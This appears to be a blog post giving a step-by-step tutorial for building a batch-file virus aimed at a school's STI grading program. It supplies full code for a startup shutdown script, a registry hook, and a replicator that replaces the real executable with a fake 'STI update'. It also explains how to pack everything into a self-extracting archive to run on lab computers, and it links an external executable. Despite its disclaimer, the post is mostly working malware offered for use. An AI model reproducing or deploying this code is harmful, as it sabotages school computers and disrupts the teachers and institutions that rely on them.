Do not attempt what I am about to show you. This is a small virus that can be written in notepad and takes almost no effort, but can have devastating effects. I am not responsible for what you do with this information and by reading this you agree that any and all damage caused by use of this program is entirely your fault and is not my responsibility. If you are still reading this, then let's begin. First of all, most schools use a grading program. Teachers type your grade in it and it does all the work for them. This is always stored on a server. In some cases students can easily access this drive. In my school, the grading program is STI, but this method can be used on any program. Since the STI server is attached to all of the computers, it will also be able effect all of them. This is a small virus that uses STI to replicate itself and effect any teacher using STI with the virus. This virus camouflages itself by claiming to be updating STI. It doesn't work immediately however, it only works after the system has been turned off. Which most teachers do at the end of the day. So the effects of the virus will not be evident until the following morning when the computers have been rebooted. Upon startup the infected computer will display a message saying you have been hacked and give the user ten seconds before it shut the system down. So basically, the computer is now useless. This is easily fixed however, but most people don't know how. That is why I will also give you the code to fix the computers.
STEP-1
The main command
This is the main command that will be launched upon startup.
Type this in Notepad.
@echo off
shutdown.exe -s -t 10 -c "You have been hacked!"
Save this as shutdown.bat making sure you choose all files as the file-type.
STEP-2
Create a file name it as update.reg This will add this codes to STI program update. This will be like (Type in Notepad, use all-files option while saving)
REGEDIT4
[HKEY_LOCAL_MACHINE\Software\etc...]
"update"="Here type the location with name"
STEP-3
Set up the replication system.
Here is the code to set up the replicator (the program that allows the virus to reproduce). This simply gets it ready to infect the teachers. ?,$, and ! means that it varies. It depends on what program you are using. To find out how to fill these blank, get on a computer that has access to the server that stores your grading program. ? is the drive letter. $ is any folders and sub folders that contain the main exe for the grading program. ! is the name of the main exe.
Example O:\sti\ssts2\sti.exe
?=O
$=sti\ssts2
!=sti
Here is the code:
@echo off
cd C:\
move ?:\$\!.exe
ren C:?.exe real.exe
ren C:virus.exe !.exe
cd ?:\$
move C:\!.exe
move C:\shutdown.bat
move C:\Update.reg
exit
Save this as global.bat
They grow up so fast -- real fast!
This script will infect any teacher that uses STI with the shutdown command. The little viral babies will copy themselves to the user's hard drive and remain there.
STEP-4
@echo off
cd C:\WINDOWS
Echo STI must update itself, this will only take a few seconds.
pause
Echo Please wait while the files install.
move ?:\$\shutdown.bat
move ?:\$\Update.reg
move ?:\$\cure.exe
move ?:\$\cure.exe
move ?:\$\cure.bat
move ?:\$\remove.bat
Echo Adding information to registry.
pause
start regedit.exe Update.reg
cd ?:\$
start real.exe
exit
Now this one has to be in .exe form. So save it as virus.bat then compile it in Quick Batch File Compiler. You can get QuickBFC here: QuickBFC and download this file as a template for QuickBFC to work with. Just save the compiled file over this one. : Template
STEP-5 (THE CURE)
The Cure
This is a little tool that can fix all damage done by your virus, it works in the same way that the virus works, but works to correct the problem rather than create it.
@echo off
shutdown -a
cd C:\WINDOWS
del shutdown.bat
Save as cure.bat
@echo off
cd ?:\$
del !.exe
cd C:\
move ?:\$\real.exe
ren C:\real.exe !.exe
cd ?:\$
move C:\?.exe
cd C:\WINDOWS
Now download this file: http://www.mutantsrus.net/cure.exe
STEP-6
No it's not the name of a heist movie. It is simply a SFX file that extracts all the files to their proper places and places the replicator in the STI drive.I am going to use WinRAR to do this. You can get WinRAR here: http://www.rarlab.com. First gather all the files you have made thus far. The files should be shutdown.bat, Update.reg, virus.exe, cure.exe, cure.bat, remove.bat and global.bat. Now select them all and put them in a .rar file. Then open Winrar and go to "tools", then select "convert archive to SFX". Click "Advanced SFX Options" In the field labeled Path to Extract, type C:\WINDOWS In the field labeled Run After Extraction, type C:\WINDOWS\global.bat Save the finished file anywhere you want and as any name. To install the virus, just run this program on a computer at school that is connected to the server that has the grading program on it (such as any computer in the Comp Lab.)
Congratulations!
You are all done. Thanks for reading, and remember: "With great power comes great responsibility." So use this program wisely, and by wisely I mean not at all.
But if you do use it, make sure to leave an anonymous letter telling teachers to press Windows+C then Windows+R to remove the virus.
0 comments:
Post a Comment